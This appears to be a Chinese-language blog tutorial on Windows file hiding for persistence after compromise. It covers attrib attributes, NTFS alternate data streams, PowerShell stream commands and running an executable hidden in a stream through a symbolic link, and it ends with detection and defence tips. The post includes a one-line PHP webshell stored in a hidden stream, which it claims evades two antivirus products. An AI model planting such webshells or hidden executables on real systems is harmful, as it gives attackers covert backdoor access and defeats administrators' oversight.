权限维持之-文件隐藏bypass
字数 1043 2025-08-10 20:35:57
Windows文件隐藏与权限维持技术详解
一、文件隐藏技术概述
在渗透测试和权限维持过程中,文件隐藏是重要的技术手段,可以避免管理员发现后门文件。本文详细介绍四种Windows系统下的文件隐藏方法。
二、使用文件属性隐藏
1. Attrib命令基础
语法:
ATTRIB [+R | -R] [+A | -A] [+S | -S] [+H | -H] [+O | -O] [+I | -I] [+X | -X] [+P | -P] [+U | -U] [drive:][path][filename] [/S [/D]] [/L]
参数说明:
+设置属性-清除属性R只读文件属性A存档文件属性S系统文件属性H隐藏文件属性O脱机属性I无内容索引文件属性X无清理文件属性V完整性属性P固定属性U非固定属性
2. 实际操作示例
-
创建测试文件:
echo test > 1.txt -
设置隐藏和系统属性:
attrib +H +S 1.txt -
效果验证:
- 普通dir命令无法显示
- 即使设置显示隐藏文件也无法显示(系统+隐藏属性)
三、NTFS文件流隐藏技术
1. NTFS文件流简介
NTFS文件系统支持Alternate Data Streams (ADS),允许:
- 单个文件包含多个数据流
- 主文件流外可附加非主文件流
- 资源管理器不可见寄生流
2. 基本操作
-
创建隐藏流:
echo hello world >> 2.txt:test.txt -
查看隐藏内容:
notepad 2.txt:test.txt
特点:
- 宿主文件(2.txt)显示大小为0字节
- 冒号后文件名可任意指定
- 宿主文件格式不限(.txt/.jpg/.exe等)
- 宿主文件删除则寄生流也被删除
3. 高级隐藏技巧
-
无宿主文件隐藏:
echo hello >> /:hidden.txt notepad /:hidden.txt -
WebShell应用:
echo "<?php @eval($_REQUEST[123]);?>" > /:test.txt echo "<?php include('/:test.txt');?>" > 1.php- 可绕过360和火绒等安全软件
四、PowerShell与ADS结合
1. 创建ADS文件
echo "This is b.txt" > b.txt
Set-Content b.txt -stream text
2. 查看所有流
Get-Item -path .\b.txt -stream *
3. 注意事项
- ADS仅在NTFS文件系统有效
- 传输到FAT32/U盘会自动销毁ADS
- 不同文件系统间传输会提示错误
五、可执行文件隐藏
1. 将EXE隐藏在文本中
type calc.exe > a.txt:calc.exe
del calc.exe
2. 创建符号链接执行
mklink d.exe c.txt:calc.exe
限制:
- 不能直接执行
a.txt:calc.exe - 需通过符号链接间接执行
六、防御措施
-
使用专用工具检测ADS:
dir /r显示备用数据流- 使用Streams工具(Sysinternals)
-
文件系统监控:
- 监控异常文件创建行为
- 检查可疑的符号链接
-
定期扫描:
- 全盘扫描隐藏文件和异常流
- 重点关注系统目录和临时目录
-
权限控制:
- 限制非管理员用户创建系统文件
- 禁用不必要的脚本执行权限
七、总结
本文详细介绍了Windows系统下四种文件隐藏技术:
- 文件属性隐藏(attrib)
- NTFS备用数据流(ADS)
- PowerShell与ADS结合
- 可执行文件隐藏
这些技术在渗透测试和权限维持中有重要应用,同时也提醒系统管理员需要加强对此类隐蔽技术的防护。